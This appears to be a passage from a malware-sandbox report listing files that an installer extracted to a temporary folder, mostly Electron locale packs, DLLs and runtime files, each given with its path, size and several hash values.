SHA512 b93e70b09eb536a2ab58a064b05aa13d6b0eed08ee1681ab9c59374d119a8bf3ccc2793fe005d0c51734afe25794c9bbd759ef7085a4b9fa6c3dd5e29d0f39b3
SSDEEP 3072:JASH222GPf+r97QyNiMJ0voJZVLF2wnVPbtwpFFyGRU3RxYR3lDdjE9xOUq/1A3Q:rYo+rdQyh0oaSpgKZmbzAyCLj5cpAK9T
TLSH
T13835C24DF77AF3685DECBC8E36580D3BD8FD21B1C3E9925648E1B3A74884CB401596A2
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ms.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\ms.pak
Size 498KB
SHA256 280ae72f9fb328d6b9e0baa5c27157e7e5bf0ebf699ebeac597da0ed4f670776
MD5 ee31adedc69d7926395e4740e724245d
SHA1 4403d976c2c559747e15b219e76342ed3b41e5ce
SHA512 69426971040e9c8c5f9645a9e8ece83e166575c23d9b1c5db3f5a22488e5f7988127799fff4cbc7445d8407e5f0761a666713c433030accca4c991dd323f3181
SSDEEP 6144:v8fC43K+W84G7nWiBx7+2YRldjiMIUcGm95bbHxOM9LLEWVHc:0V3KE4CnPx7AldPc9530Me
TLSH
T15FB4B6069EDE3118045843D9D2DA6A1B7CDD3333B705AF2B8DA08FB0126E7A53356F99
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nb.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\nb.pak
Size 483KB
SHA256 1a35a4e5348ca851adec4ea1c666d56750d39174a35d74ab87cd061abe063bf3
MD5 03f4ab4f1d042e41b37438ad38ddc794
SHA1 d465f7b3b05ac289f7c96fb9cf6603c30af81466
SHA512 d0007b98ba9d9f2bc102a516cde49b3982db4698a1bd31e22104f5f634072943c98c7cd53e8cb02e320fd3a1455f8ae42dd99679a527c64723bd3bbc37743c23
SSDEEP 6144:GsKfvlCYYJ+8hz2bdXw5Op7fW9SighmrlDhP5RV5iM43CuMhVCD9vt:KVCj0bxw5Op7fW9S8lNxRV5iM43JF9vt
TLSH
T1C0B40783EE86B72EF6A44394F029855B9B6D943CCD98199B54CCC63E09C7EF092BD1C1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\nl.pak
Size 499KB
SHA256 9b46eec8a0b0b568ddc35387ca02c2116baa7520efb04d92325fec17d5091353
MD5 834219d952a58bdb01b40cce5269d449
SHA1 c325fdd7e21e993b745233086c9df4376901e2b4
SHA512 9c28177d8530b24fedccdd7b4562a87cdf08567410d82ffc3e5a874474695a18eb533e7d55e4a901b77c873a22beff570b5c5cd79b47947b5bf3af2c38b9d486
SSDEEP 12288:syWoBilbWusvbgQ5Max5btohx4Gp7KYjOTy:syWIilbWusB5Max5behx4Gp7KYC2
TLSH
T1F5B4F917AC9E253E59C0A349F6088FBBBF2ED22CC26CE67D94DDC1381443F5942AD499
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\pl.pak
Size 557KB
SHA256 c8f76ef189d14a0c75407dc40348cd9171f5997a94a4961d86152cea2258ecf6
MD5 75e71f0c6e72ac4f9dad168ba307d2b0
SHA1 41129512809f2afae64b04fb1efa81d9c22b8389
SHA512 ebb279f36d612cb1d94e9333140cacfc9e7946a646cf28cd75f55ab20680b4ed5645ac9887fa528a07f8bb03fe942d8e104d63af1b11cb9f79826f34e53dbef6
SSDEEP 12288:HlRzWoOB/k0wvZfQfR6HA5bFVP3CUdCe3mhUrMAmW1Qh4Mh59M14scly:HlR9glMe1Qhz53Q
TLSH
T1B7C46B0E96E59A0E4DB008E6F2E70B7CACDCC808F109D35FE45F852A615B19EC9BE5D4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pt-BR.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\pt-BR.pak
Size 524KB
SHA256 3ef0114eaf2268262cd594bfe33b56b24fb416d23d6fd125a9ae022d8eceaa99
MD5 f8bcb6fd83b0425abb9b214535025140
SHA1 51e72f9b419393674e8cc9ac3ababd6fcdefa251
SHA512 a5dc5e3ead99820d3ee9b83cf58670923edb8b538dae84ffc6b1aea9869fec58f0a5e8ad8ba5a792736d1a593b4b6664d734be3ef524fc2b036b268fe108b5a2
SSDEEP 6144:cneZxthZ8l/gooNBXBLZWkoyVH553JBi90sRaY5Cs:rxOl/go+5NJ9sR15x
TLSH
T126B42B2A6DCA136605225351B74EEB43E9884745FD0ACA87DCFF4B05A3DCE40DA33BA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pt-PT.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\pt-PT.pak
Size 527KB
SHA256 b9439000c1c75565c2f223612079a51971ac54a3786d5b631f20436447929465
MD5 90964c1734b1c36442dd69edbd85882c
SHA1 ba1ff66b255fe432278bc44860c6c4b3da975296
SHA512 5a6afc90ff5a3a65e9e2f4347635a82ccbfcc9d1f5d6b206828650aa49a2dcc59d3c8833cbfb9fc7ce8f347a28d718567e1cc300758a2ea5126c67e0967aedc8
SSDEEP 6144:rtptZSTJLUHxk7jZieJVJJxhHLshYfVh85FKybSRLi:rtpmtAkt85FKsSRW
TLSH
T137B41A296EDA132605135341770ADB03FAC8A655F80ACAC7D9EF0B0672CDF94D6B2F61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ro.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\ro.pak
Size 546KB
SHA256 5e5d1cde0fceb570c20e7485b32f0ef7ad59569b93574fcbbc7aead4906e7d14
MD5 3dfcf8b66ce93a258d1631685a137e20
SHA1 4b10119acb26c44edff2028d27e960b93c0bd812
SHA512 17fe50ecd7d44ee5d652b4240cc3b01cf796f9ec11c5fdfe5af9de63999f10d2a50842fdf95fa2dbb4982139c34a9dfb11c8bc2261180862652a92f1497692c4
SSDEEP 6144:JF04spOl5qs9TjmXHjvyJeyFodxOINkjK0yGZq5zZyo2ts2H/ktO3:JS4sAKQmXHuJRFozO/u0zq5zAoY/b3
TLSH
T17EC43D2391C81A972A9152B2B73634D3E88E105DF641D2CDA4EEC97D10CD9DBC52EECB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ru.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\ru.pak
Size 897KB
SHA256 07dbeee5a0b9c6c978d1c593db5dd6152003fa12170a8189bdde77908d826dcf
MD5 de3b5faf5d64b16867be213591e545b9
SHA1 5b8bdaf38278604b5031e1c944349a31fdd281b4
SHA512 5808a46dd05302338ef63b1f1815828840218324a6fbb1ae6b19f62d803795ba13f7ab7aee1e39137f61f99651ac80166781cdb1f295fbbfdbb218c5a293967f
SSDEEP 12288:vzmSGKfQjRo4YS5KCx/K6NzJ9ZF/Aalla4qSGsN9z/0TYH8eXN2hVO3j/tSbzvMv:vYXxm506tU
TLSH
T1AE158661669E64DE1101F01BDD08BE0D3CEB45FE3FAAA35619A42D7F35F2024C63E61A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sk.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\sk.pak
Size 563KB
SHA256 be66b2442b5b4a6dc28a14545e2c4a0bc7f9e6547a89f974d7b8a63525c1855f
MD5 421d713180d716a060629c334630ed80
SHA1 fd2d0a0a6d7a27c40a725c1757299afe6d3a12fb
SHA512 a6c8f62dfe81008a888fab89bccdca8242650771bc2b07cb6b51b77dda2c8eb9f2681d6260ca584ed2bdbc1eb6a60b78c8e07445faa4e15d2b30134989263eb0
SSDEEP 12288:rSkwf/qsOkNEpiIip+RC5zwbLfrQzLPxt9eI:3wf/qsgpiCC5OLkBtEI
TLSH
T1BAC44D3FDFE7581E8E8D0148EFEA7110FD6E46508A4EB0A5940F368724E26EDCAB4D54
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sl.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\sl.pak
Size 541KB
SHA256 8095ce45373d8de8dd243fec034643060cbff67a48fa81414e31a0b9327eefc4
MD5 c2c99e4b36e16403ded88cff651671c7
SHA1 f3257f4b444cd2e33451a76bd55f81372f622681
SHA512 d8c76b7c9c3b6a1cf5c72abed0b53e2552ee28d1575cbe3b680904281f07ec797d37a4d60590490984c6c0dcb33d3c688869dee9c51920d4b41862d1e5fd7dc2
SSDEEP 12288:v/ym7W5Op5rB2I+EbME5G8coJHvbxi/fz4Cqc:Xym7Wop5T3ME5G8cii/fz44
TLSH
T12AC42C357AA79E0F0DAAB2CAFEB506007FDC044CD256E2A1FC8F33695015A3817BD599
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sr.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\sr.pak
Size 833KB
SHA256 a50c82c0db17e2aa4a62068ca2b210fd9847d32bf2134d6d5af1fc4b7050091a
MD5 d0045ef8d5ea1347f09983410efff00c
SHA1 4c88aec2a3d54e44e0d05281201b06917faf17ad
SHA512 1694cbd28bd29e5f394e3f6cec01f9efbb9da8358f59ff80f550d4059abdb02e02d4d4da007e0646fa5cfc812ff8f94fe0a747bdf8b6f8449f02d28d83d536d5
SSDEEP 12288:QhjTzIuup7+q2YZAYI8glSDdrLuzQhrUPb7FW5YrT0xs7xH4rL37SjeYM/k/p:0jvwvwlW5nxoP
TLSH
T1070557A19B9E64DB0501F41BD808BE093DAF41FE3FAB975215601DBD34E20B847B939E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sv.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\sv.pak
Size 486KB
SHA256 a615c0756155436781f8e8543d4b4163b7d96cbdf58ba86ddce8b39c5b7a17c8
MD5 02ad118e6e093d71e32291958f5a44fa
SHA1 111974cf0fbc304b1395a6d68ff3a79a25b72b76
SHA512 717a438bbee8d21011c1da203b5126ef4ac330cd94013a93eeba518e5e33772a8667a84c368b1a9b2d1e151d8a81e53cd0c5c59c58a578bd4aa1345115c4a49b
SSDEEP 6144:g3MKUcRe61TO/AYcNUAvSCZxemvZl1BI4RFcz9RyoxGOGW3IiRMaSOmDE/xWcqdk:g3/LCAYcGC1l5+5dzB
TLSH
T1F8B41C438A20F526FB72530DB508115B0AEDE25CE7E2958DB8D9883DAE8BD5805FF347
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sw.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\sw.pak
Size 512KB
SHA256 ecc84d9a40448772697c14f27b1297fcdce12df30d008a7d4149a6aa587d85a8
MD5 ad41974eff2483e260b558ac010879dc
SHA1 be8b566a4ce4a529f8eb0352abc7a2023a9b5355
SHA512 2b731daad19ca5e43d29106c1ec06b8ba6b54ef44571fd51c2cf65da4c9ba1941d78808d03f2056a839e2e76844e979b775afc7b470640101328b572d10e0c4e
SSDEEP 12288:Za8pzL2fuucrB5G7CCRdCAUQbQW4243EaeFNUq89F1ggt45rUAcw06yJMkJPe/Bb:HkJ5IY
TLSH
T12FB4C5629871E0181633518603DDFF731BDCED6C2D2B28935A46BF4F218F98C56ABE49
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ta.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\ta.pak
Size 1.3MB
SHA256 3c8dce29bcf2b60bcc273229afca64eb07a73c729d0d20e35455cc5d933e9a69
MD5 2f628abbfe91a7738cd47142e42a4ccb
SHA1 9fb966c32d237e3addbed97478cb84697bcf1fe3
SHA512 9a1f0a40e8ff8e68dd08dbea55dcff45e7bbe76de45520323832a9004698e6ab30d53eca58efe6db08621f940a80c3ae441e038bcefa4206cafaf664e6cc0bfb
SSDEEP 6144:obtBkiv2nWiuF5uzGtR6cA25tm1vYpiMyj:afdenWzF5uz/cA25tm1vYpiMyj
TLSH
T164550CCE923EEE890F93288F0319536912986155C47BE3A67C766E1198ECC5DCF3427E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

te.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\te.pak
Size 1.2MB
SHA256 7f28d607ed94e339b677cd5556202fb60f7e801e74af16397ef610c7302f6957
MD5 44c01878b175e976e75ce036e4d7a495
SHA1 91ecd7611c7c25f8615f234537819be42799b288
SHA512 3afbfb3d6a95f1d61fe6a409729c768f1e4f0b3b4c1b6e35af806f0aabcb6ff516cc70e9a112c2c6cede88c2778bfae08a3e6affd05c9d5bc8a5dd4a4ec9bdd3
SSDEEP 12288:sHU9G7McKNBJhot56d4e/gb0HrWs05Bk3p1FZNViFlV2wtg+NFqIrOlHXAAFwQVV:s0X1u5EM2X
TLSH
T1624590023A6AD310DAE70273752CF66C49681B8161D6732C1EAFA357FB87D7E0843676
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

th.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\th.pak
Size 1.0MB
SHA256 f5118ca292c570e69972ff8a7a81940a98dbf4519532ceff133488a329825f78
MD5 8470d57577f417da93d40889cbe9f4bf
SHA1 6b497939f2b196a1b84e06d8ac2449b554c14a60
SHA512 efa31d2c3dc584aaa4120c931749ff1cc0f21d263530dd6bd2d9f66bec74159998cbf679a78b8d231fab5da1f0cb48a9d9dfacd0e0e85336b234b87b2457bff3
SSDEEP 12288:78XSN9LyZYArTJz1L/L1XPhHsbhRy1cW+v1H5UJEyL3ftj8wlz9eTRo94G+K9uLO:78XBS5j5k
TLSH
T1AE253B737247D9D479441B5B262A77896B3DAE693F73F8E00089215A73F071A8422EF3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tr.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\tr.pak
Size 523KB
SHA256 0fd794b314d12652ca5c1986795a00bd0116b44a3163d2ea0b26560e3ad23eee
MD5 04d37b8e9db287042e86d0623063f9ca
SHA1 c6c3c32350737efbc938f59a12d1d4a1c2aca736
SHA512 38756868fdd0045aa3e10d26e89f923759aff7fb4c984cae2fc46091d737e6c9b5edd924948671abe4b9991e150dcb0068143618911595f021332a5dba7ad912
SSDEEP 6144:KErTapWZp08qQdrdwZiRDhzXkKxv8CXHXki4wge75MW/2+qi1nEedGAMYw/KFT6Q:KECph8qeoi7zBkiN5MW/B
TLSH
T15EB4E98178EF381C8BB9278FD7E90666F89F0766B331E4469A16863A774535303E760C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

uk.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\uk.pak
Size 896KB
SHA256 ef7ffd8792b482829f31924241e6bd12dccdfdf404a0781bb28747c308649c0a
MD5 bc19ed011123ce8ce343ba2be9daa315
SHA1 d588df92475bb650d1e2bfc15e558315e90c9425
SHA512 6b0960807f27c7653e7d851d503f5564f773c9e4290d4745566a0c3911cc0ef12e90f47de883c541129ad7d294a766f226dc689aa343a00ad72049bf3d5c3713
SSDEEP 12288:/T0LytA6d8Nj7RMRWYPnfzKj0meRi8ICN5rB3IjtAlLEpdcuPLNiXEqqbQS0w:/Ys8Njtgz55E5
TLSH
T1C115A9A19A9D58DF0106F05BE84C7A0D7DA741FE7FA6471625A43DBF38F20248A3C35A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ur.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\ur.pak
Size 782KB
SHA256 2e0b43afa9c69288586ed404564ee2f420a87ff7936bdb48efbf21ce8f58f468
MD5 4144860c649699b6237186d186697910
SHA1 a1774f0ae15891a80d40202723e4df4044788d40
SHA512 d1e1ff2bdc0e746e84c36b221c7cbbd49a905b6353a23914f1f9f4a9314f495b1d273230c99488f9a3b61980211d90e996165b3df7a3aa761e374d2a35ac8cd9
SSDEEP 12288:Xc/F4PuvV+8PomR0D2nyBO3QU56JhEFZWPOWojYzQYrNwadcJKwU8ueco/9NjjFE:Xcm6V5vWR
TLSH
T1450510D2E7BC96B24A21D92780D33C34CB635F13D34AF286E56206C54E9A0135F6DE7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vi.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\vi.pak
Size 619KB
SHA256 030d29bfc26f9f08db13455c0d635f33b0315905d27d030d9f7813dadd899603
MD5 4185ab945c7550de028909a55abd3129
SHA1 0d5daf37c1a0528c6f1dba47758fc18938b6f34c
SHA512 f500b4957ab0192a570130868bd661f94b4d0cd36d6a9ea5be45437c95dcd8923cca1ebfacd9ac98b85420e1d9fa96a74a9d4801432296a87871867672b3c60e
SSDEEP 12288:HLvU+cmwJlroEKaaF/KtXy0xxcPdI9+vUx5a8hye94KieJziMHo6wtON:rs+cmwJl7a4ti0xeo5a88e1ieliMI6wI
TLSH
T102D4851117E0702680AC553EC6CE540E6FCAE42FF7C18FE56FE4297976221A45F21BAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zh-CN.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\zh-CN.pak
Size 447KB
SHA256 374aed2859320a7287b64a8d1b150f7de05a931be3603a541b68ddd64ea361b1
MD5 6af4d1577c142b87dabd3262f37634c8
SHA1 1b6152757b163455e9e1304e1ba1c09dd6593385
SHA512 7f0a6cf88634e852b0e3e3b6b8a0c703602f3f606b8b34183d129f55ea2ce120e1c4d2ee2820fe027f025d422ebd0dffe5f696303c1306f717129985cc0ef826
SSDEEP 6144:nRAwX0s66VXNN5zu+E7/56aO/epD659+qjNFEwYHB07ulz:nRA3s6OXNzzt856aO/w65McNFEwmB/
TLSH
T117A47EA951ECBCEC044640D03729627D7C40B60BF667AF766DD248ED2BA2F9D0717A0B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

zh-TW.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\locales\zh-TW.pak
Size 442KB
SHA256 d2c4aec734bc94fbe7d60666343b4e419be5e2cd1ff445a8bbf14fb4b8d3d715
MD5 d6800784f1138702e4973cc5b074fe6c
SHA1 a8938ced7fe5a35163c28214eadd96a6f63a8666
SHA512 3ad3557908e4ba71a5062ab0be07832d553e6a3bd56bdd59a719df65a4d9152950af2de25c6c410b6407463a862c92d49e9d0ee863bef27a792aa128458fc7e7
SSDEEP 6144:1K2A4c8ADmJUHGF2tuDasg5V5gjkzBMOZQyZV7zeXTA:8Z8Ahwasg5V5gjkzpr/7/
TLSH
T15AA47DA608FFDAEF0A01F884B7CD562E7C8B746CDD373736FC991C982D6AA540A51049
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

resources.pak

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\resources.pak
Size 5.0MB
SHA256 1efdd507bb6f4fb07329ec7ec29ee00c952d6390bd5cfe3b41fb307c5caeab6c
MD5 54790975c932460ffa375cd0f0f8fff0
SHA1 05b72ff82abb8ddac1a92471f765b87b7ff1e9fd
SHA512 d74627207caa35602e68ad6c08a0ebf55fe062e191a1885eb38226755d382dd3407dea883e4337c5cff23c1f724d64e5598edf7a5ce93d4cc1ea6ea10c41aa0e
SSDEEP 98304:UCNks/PeeUfLi93zJ/HbKKSoDr+cgSrwrNl8dtSip6QaVaK2nwuoM10mpmjy+0V4:UAk03dB7KRcRkrNi/SQaVN2wuJ10Le+1
TLSH
T1103633C77AB4443EE905633B401D4B752F29F2C61B612036705CB59DBF3A6ACAE9407E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

main.js

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\resources\app\main.js
Size 561B
SHA256 9a036a085bc6a825e882360781e201da7ad8bc6129851d839b28f844a617d188
MD5 2b16b39cbc1497fb7e22db42e3f998c1
SHA1 ebb345f0ac75059950c8abe920b0b20656bffbe3
SHA512 3e5beb91106cc43c75f59897d341e3297fc26756f9ea780218502195ca2a43e5f2bf15741db8e3ffc5e77f88b4adc7fe4fce55e922d5696be5a780c979e2a018
TLSH
T1ADF081C40BEC9C6E233CEDD9E16D5649F6D2C1D14531EB81C0D7FCC794214452E52114
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\resources\app\package.json
Size 265B
SHA256 6d91f78070aab3ed2b43dc41fb84a19d1d290e51f515da85942b5763ba988d41
MD5 e733ab4cf77e57fc5f771287bf02a5d2
SHA1 593c64c62b92accd08d56deea3f8f73d44d63907
SHA512 6a3ca261968df6f3468fce67b3cb77b86198aa60cedd9e186c54051b1f655a6226e54122a6c31ce1ff79b21424eac3a8d402122d2f0bef71f3228abc88ebb1a3
TLSH
T1A7D02B308700483316CA47072863450B61310D4F2188FC1C1B775018166B33719773CE
MD5 SHA1 SHA512 TLSH

Submit Download

runtime.bin

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\resources\app\runtime.bin
Size 4.7MB
SHA256 dda3c0d9f11c97712dece348de23a970156bbc409672a1fd8b2a56fb288fdc4c
MD5 bb95d17635c8b2692bdb44ab419fb0d5
SHA1 42db6715800da154ece3aac7d427d73698e82002
SHA512 088650b88affdf9fe3f3e5d1f3009e35b74bae1726a4827772e55e4f772eee4e3d432e9089443027caf3e79b3c37eb2b91e5a2f822e2802fb49a0a2ada60a2f4
SSDEEP 98304:V/Xl+cI26P/uJ0bAvJ6iGyK/JkUstAOlY8g3d2VWX/u2IY:Vl+cI2sq3K86881+Y
TLSH
T14B3633C1BB277241C1978197EE2416F4C8AF45BF88D32ABBB40801D6E75EA7E1D9CC61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

runtimefb7e.dat

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\resources\app\runtimefb7e.dat
Size 221KB
SHA256 155dc86a86729517d137fae38eadf15c277671ac72a8d5ff8ccd47c3dabc6bb1
MD5 0c6039ed76d96701d3a9c396411847c0
SHA1 e3c14f7840cae3b76657352d4b88356bde380533
SHA512 525c61aadc0b3c108f23579bffb33cf82457dcfd1333f65ce63bde77131adee68560ca0889528f9cdd2c73d9925f77877c0501964cd822b3593662bc349fb3f6
SSDEEP 6144:rkuAHKq4lleJc5+hspMEcelJGS+ih+u5IR:rkusKq4reJcEmJ3G6QuOR
TLSH
T1532423A2925CD28AF052C09AA1F122721C19FE85DC9CFFD8B871D06CB553E27D643DB6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

elevate.exe

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\resources\elevate.exe
Size 105KB
SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
MD5 792b92c8ad13c46f27c7ced0810694df
SHA1 d8d449b92de20a57df722df46435ba4553ecc802
SHA512 6c247254dc18ed81213a978cce2e321d6692848c64307097d2c43432a42f4f4f6d3cf22fb92610dfa8b7b16a5f1d94e9017cf64f88f2d08e79c0fe71a9121e40
SSDEEP 3072:1bLnrwQoRDtdMMgSXiFJWcIgUVCfRjV/GrWl:1PrwRhte1XsE1l
TLSH
T1EBB37C1274C0C471E5732A361974CAB14AADFD700E759FAF6398127A4FA01D09A3AFB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

snapshot_blob.bin

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\snapshot_blob.bin
Size 299KB
SHA256 c1da41052abe31791ae90a9dbe54442a641e1ecbb018ef35c44e7aed05b8f72e
MD5 aedd1b80a8140b94c00db3c0b9485772
SHA1 2dc8444e599438ed37a31ebfe7f8859af7fac631
SHA512 3e06cb550f46285d8dc81d1f082732c07e9c9d81abe931e859262c7ba699d4eb9737581f5a5c5174e09bb0fc0561a9de46298714ced38f453f922f9536c67d0c
SSDEEP 3072:ogusbBDoCIdRSt25iD1Z3yAcCLi9wfuwWMvDdkbMzaQ:ogus9oCM9OUYffnWYWbIF
TLSH
T107548746F646EA07C53435738CFFB5996924B8E96F164B0B3748933D7CBA2293B0214E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

v8_context_snapshot.bin

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\v8_context_snapshot.bin
Size 663KB
SHA256 83a8345ea197020e07fe2cf53e74f31d0cc632ca1537f5c9c1db2fb2665ab04f
MD5 0c259ecbb12e6f3f0e076e6200221489
SHA1 3de53dcafdce24c151dd1812769b46acea77c90c
SHA512 6ef39ee8b7d40c5e6c0e79f8c4e846d431a6a87711d025122e2e7f060c5754fff917771d5ede6adec3be909fb5ce0e8eb1df5e18142ecdb6339bdde8ce2c8398
SSDEEP 6144:m/h8ML2Zu/Bg90Ws9oCM9Otxh6vtDINPbIgTtLAkW/cB2Z0JZkQXEzBO+lZ:myMSZu/Bg90BuCzIP/+2ZGZazJlZ
TLSH
T191E46F53F749EE03C66939B389FAE9517674B8C8AF06471B7798533E3A3A3252E0005D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader.dll

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\vk_swiftshader.dll
Size 5.1MB
SHA256 46afb1ed7ab1b1a679e00784b2e78cc2358cec615553699624ff77882f55787b
MD5 8fe00ebe76542263463877f27417ec61
SHA1 763502e57a3c4fbe5fc25ee7e9c942d94505d244
SHA512 62b375b40eedf04d03d8465570634b56d529e9525bd6d81be94b40c7da21cccaa808be97649f9404ded9edd5ce129f9fb1d462c6a1986a25fa8a228857cda5a2
SSDEEP 49152:YL1wrvfRIQkXfBe1IlA8gE+LGHEYXb3GNfsUd9QjqZztkJCP1pSN6WxHEmp+DnnV:81w7weOqiFIYBgTE
TLSH
T1E9363803B2858199F05ED179475BA632F232F8801B76B6DF52A41F192E77FE02B39B05
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vk_swiftshader_icd.json

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\vk_swiftshader_icd.json
Size 106B
SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
MD5 8642dd3a87e2de6e991fae08458e302b
SHA1 9c06735c31cec00600fd763a92f8112d085bd12a
SHA512 f5d37d1b45b006161e4cefeebba1e33af879a3a51d16ee3ff8c3968c0c36bbafae379bf9124c13310b77774c9cbb4fa53114e83f5b48b5314132736e5bb4496f
TLSH
T1A6B01211430088B36062AF3C41811F468765411C36020D491040540E83BBDB6A102394
MD5 SHA1 SHA512 TLSH

Submit Download

vulkan-1.dll

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\7z-out\vulkan-1.dll
Size 932KB
SHA256 fa6b4e20eb448746e2eff9a7fde7a62585e371f3497a6a928eade0a8ce8c1a9f
MD5 d8f31216785e204da9bad10e9f3734b7
SHA1 be7f53566dbaec5dbe61afc76bf7401cfc42ef08
SHA512 d7ef5ef7ed9b5559e107369849adcd18fb9c9c3a90033731a46c4b5d3ba431582936e54e5b5918ce19a667b3f1eb369a93bc3f9a03df8e5397e5f80dc21a61a1
SSDEEP 24576:CkMYSDIukxvnwhdzY96Z5WiDYsH56g3P0zAk7lE1:Cku0fwhC96Z5WiDYsH56g3P0zAk7l
TLSH
T115154C23AA944669D476D034C8C28607CAB178912726B9CF03A81718BF6FFF4777DB25
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SpiderBanner.dll

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\SpiderBanner.dll
Size 9KB
SHA256 996a259e53ca18b89ec36d038c40148957c978c0fd600a268497d4c92f882a93
MD5 17309e33b596ba3a5693b4d3e85cf8d7
SHA1 7d361836cf53df42021c7f2b148aec9458818c01
SHA512 1abac3ce4f2d5e4a635162e16cf9125e059ba1539f70086c2d71cd00d41a6e2a54d468e6f37792e55a822d7082fb388b8dfecc79b59226bbb047b7d28d44d298
SSDEEP 192:5lkE3uqRI1y7/xcfK4PRef6gQzJyY1rpKlVrw:5lkMBI1y7UKcef6XzJrpKY
TLSH
T1FF12D6861F9044F7E510607CA896B7EF93177B2AA382ADCBCE73849429115E32F79347
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StdUtils.dll

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\StdUtils.dll
Size 100KB
SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
MD5 c6a6e03f77c313b267498515488c5740
SHA1 3d49fc2784b9450962ed6b82b46e9c3c957d7c15
SHA512 9870c5879f7b72836805088079ad5bbafcb59fc3d9127f2160d4ec3d6e88d3cc8ebe5a9f5d20a4720fe6407c1336ef10f33b2b9621bc587e930d4cbacf337803
SSDEEP 3072:WNuZmJ9TDP3ahD2TF7Rq9cJNPhF9vyHf:WNuZ81zaAFHhF9v
TLSH
T125A33B62A2FA9CF5E4E70B3D1469BB264CBB7B383431D93F2342054B8534586DA2D35B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

System.dll

Path C:\Users\Admin\AppData\Local\Temp\nsi28C9.tmp\System.dll
Size 12KB
SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
MD5 0d7ad4f45dc6f5aa87f606d0331c6901
SHA1 48df0911f0484cbe2a8cdd5362140b63c41ee457
